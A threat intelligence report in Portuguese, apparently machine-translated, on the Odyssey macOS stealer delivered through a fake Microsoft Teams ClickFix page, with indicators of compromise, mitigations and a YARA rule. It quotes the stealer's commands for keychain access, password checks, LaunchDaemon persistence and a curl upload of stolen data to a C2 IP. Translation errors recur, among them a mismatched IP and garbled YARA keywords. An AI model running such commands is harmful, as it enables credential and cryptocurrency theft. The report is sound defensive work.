Voltar
Inteligência do adversário
Tabela de conteúdo
Koushik Pal
Threat Researcher at CloudSEK, specializing in digital forensics, incident response, and adversary hunting to uncover attacker motives, methods, and operations.
Nenhum item encontrado.

Sumário executivo

No início de agosto de 2025, a Forcepoint lançou um notícia sobre uma campanha de clickfix que se passou pelo Tradingview para entregar o Odyssey Stealer. Durante a descoberta rotineira da infraestrutura, o TRIAD da CloudSEK identificou que os agentes da ameaça agora estão atraindo usuários por meio de um site falso de download do Microsoft Teams. Quando as vítimas copiam o comando fornecido, um ladrão de AppleScript codificado em base64 (Odyssey) é executado. O malware coleta credenciais, cookies de navegador, Apple Notes e várias carteiras de criptomoedas baseadas em desktop/extensão, armazenando dados em /tmp/out.zip antes de exfiltrá-lo para seu C2. Em seguida, ele estabelece persistência via LaunchDaemons e substitui o Ledger Live por uma versão trojanizada.

Análise

Durante o ciclo rotineiro de descoberta e atribuição da infraestrutura do invasor, descobrimos vários sites de entrega com o tema Clickfix voltados para usuários do macOS. Descobriu-se que um desses sites estava se passando pela Microsoft, com o logotipo “Microsoft Teams” na página de entrega. Caçando usando FOFA, encontramos 24 IPs exclusivos pertencentes ao mesmo cluster.

Página inicial - teamsonsoft [.] com

Quando a vítima clica em “Copiar”, um comando é copiado para a área de transferência, dependendo do agente do usuário. Para o Windows, ele copia o mesmo comando mostrado. Para usuários do macOS, ele copia o seguinte:

Área de transferência - agente de usuário do macOS

O texto codificado em base64, decodificado abaixo:

Conteúdo do script de entrega

1) Execução

  • O One-Liner lança um grande AppleScript incorporado com osascript -e 'run script... '. Sem exploração, apenas execução de script. (T1059.002)

2) Descoberta

  • <random>Reúne o inventário do sistema com system_profiler SPSoftwareDataType SPHardwareDataType SPDisplaysDataType; o armazena como “hardware” em um diretório de trabalho temporário /tmp/ /. (T 1082)

3) Acesso à credencial, escalonamento de privilégios

  • Verifica se ele pode autenticar o usuário local com dscl. authonly. Se não, é solicita ao usuário com um diálogo falso: “Auxiliar de aplicativo necessário. Digite a senha do dispositivo para continuar.” Ele faz um loop até que a senha correta seja inserida. (T1056.002, T1110)
  • Tenta acessar o item do chaveiro do Chrome por meio da segurança... find-generic-password -ga “Chrome” e grava um arquivo “masterpass-chrome”. (T1555.001)
  • Esconde a senha capturada em ~/.pwd. (T1555, T1078)

4) Coleção

Ecossistema Apple

  • Banco de dados Apple Notes (NotStore.sqlite, -wal, -shm) + um substituto que conversa com o aplicativo Notes para exportar corpos de notas para HTML; também vácuos Anexos de notas das pastas “Mídia” do Notes. (T1119, T1113)
  • Artefatos do Safari: cookies.binaryCookies, “Valores do formulário”. (T1555,003, T1539)
  • <HardwareUUID>Cópia do chaveiro de login: ~/Library/Keychains/ e login.keychain-db. (T1555.001)

Navegadores (família Chromium: Chrome, Brave, Edge, Vivaldi, Opera, OperaGX, Chromium etc.)

  • Percorre todos os perfis Padrão/Perfil* e copia:
    • Cookies, dados da web, dados de login (logins salvos e preenchimento automático). (T1555.003)
    • Configurações de extensão local/ e IndexedDB/ para uma lista de permissões muito longa de IDs de extensão (carteiras, gerenciadores de senhas, etc.). (T1005)

Navegadores (família Gecko: Firefox, Waterfox)

  • Copia cookies.sqlite, formhistory.sqlite, key4.db, logins.json de cada perfil. (T1555.003)
  • Especificamente caça MetaMáscara armazenamento analisando prefs.js para derivar o caminho de armazenamento da extensão e, em seguida, copia seus buckets idb. (T1005)

Carteiras criptográficas (aplicativos de desktop)

  • Copia recursivamente dados para Electrum, Coinomi, Exodus, Atomic, Wasabi, Monero, Bitcoin Core, Litecoin Core, Dash Core, Electron Cash, Guarda, Dogecoin Core, Trezor Suite e Ledger Live. (T1555, T1005)
  • Também pega os caminhos de configuração do Binance/TONKeeper.

Bolsa de pegar

  • Do Desktop/Documents, copia silenciosamente até cerca de 10 MB de arquivos com extensões “interessantes”: txt, pdf, doc, docx, keys, key, wallet, kdbx, jpg, png, jpeg, rtf. (T1005)

5) Preparação do Exfil

  • Espelha árvores de diretórios, mas ignora caches barulhentos (GPUCache, Cache de código, Crashpad, Cache, etc.). (T 1074)
  • Arquiva tudo em /tmp/out.zip via idem -c -k. (1560)

6) Exfiltração, C2

  • curl -X POST... --data-binary @/tmp/out.zip http://185.93.89.62/log com cabeçalhos buildid, nome de usuário: vipx, repeat: false. Tenta novamente em caso de falha. (T 1041)
  • O mesmo host serve cargas secundárias em /otherassets/plist e /otherassets/ledger.zip. (T1105)

7) Persistência, Evasão de Defesa, C2

  • Persistência do LaunchDaemon: baixa uma string de comando do shell e a envolve em um com nome aleatório. <random>.plist, instala em /Library/LaunchDaemons/, launchctl bootstrap system...; volta para nohup run se o bootstrap falhar. Requer sudo, daí a solicitação de senha anterior. (T1543.004, T1053.003)
  • Substituição de aplicativos: mata e substitui o Ledger Live.app com um ZIP obtido do C2, usando sudo para remover e descompactar em /Applications. (T1036, T1112/T1105)
  • Limpa o diretório de trabalho e o /tmp/out.zip após o upload. (T1070,004)

Esta amostra do Odyssey é executada via osjavascript, rouba chaveiros, cookies, logins salvos, Apple Notes e dezenas de lojas de carteiras/extensões, compacta tudo, envia para http://185.93.89[.]62/log, depois planta persistência (LaunchDaemon) e até substitui o Ledger Live por uma cópia trojanizada. O C2 também está hospedando o painel de login do Odyssey Stealer.

Indicadores de compromisso

Type Indicator
IP / C2 185.93.89[.]162 (HTTP, /log, /otherassets/plist, /otherassets/ledger.zip)
Delivery Clickfix teamsonsoft[.]com
Hashes (sha256) 9c520fa25239c0f116ce7818949ddce5fd2f315317863715416cb488
6c5aeb2

7a8250904e6f079e1a952b87e55dc87e467cc560a2694a142f2d6547a
c40d5e1

d81cc9380673cb36a30f2a84ef155b0cbc7958daa6870096e455044fb
a5f9ee8

397ee604eb5e20905605c9418838aadccbbbfe6a15fc9146442333cfc
1516273

909038524250903a44efd734710e60a8f73719130176c726e58d3287b
22067c8
File Artifacts ~/.pwd, ~/.username, ~/.chost, ~/.botid
Persistence /Library/LaunchDaemons/com.<random>.plist (random numeric suffix)
Process/Commands osascript -e run script, dscl . authonly, security ... -ga "Chrome", ditto -c -k, curl -X POST ... --data-binary @/tmp/out.zip, unzip /tmp/ledger.zip
App Tampering Replacement of /Applications/Ledger Live.app with trojanized version

Impacto

  • Roubo de credenciais: Logins do navegador, dados de preenchimento automático, chaveiros e credenciais de carteira criptográfica roubadas.
  • Exfiltração de dados: Notas, documentos, capturas de tela e até 10 MB de arquivos pessoais extraídos.
  • Roubo financeiro: Comprometimento direto de carteiras criptográficas (desktop + extensão + adulteração do Ledger Live).
  • Persistência e reinfecção: O LaunchDaemon em nível de sistema garante acesso a longo prazo e risco de reinfecção.

Mitigações

  • Controles de rede: Monitore os POSTs de ondulação incomuns com dados compactados.
  • Caça de endpoints: Audite /Library/LaunchDaemons/ em busca de informações suspeitas. <digits>.plist e execuções recentes de osjavascript.
  • Higiene credencial: redefina as senhas do ID Apple, do navegador e da carteira; reemita chaves de sistemas não comprometidos.
  • Contenção e recuperação: Remova o /Applications/Ledger Live.app trojanizado, limpe artefatos temporários e reconstrua os sistemas macOS infectados se a integridade não puder ser garantida.

Regra de Yara

regra OSX_Odyssey_OSAScript_exec

{

meta:

description = “Detecta a execução do AppleScript do ladrão Odyssey via osjavascript”

data = “2025-09-04"

cordas:

$osjavascript = “osascript -e 'execute o script'” ascii

$dscl_auth = “dscl. authonly” ascii

$security_chrome = “segurança” em ascii wide nocase

$masterpass = “masterpass-chrome” ascii

condição:

todos eles

}

Referências

Blogs relacionados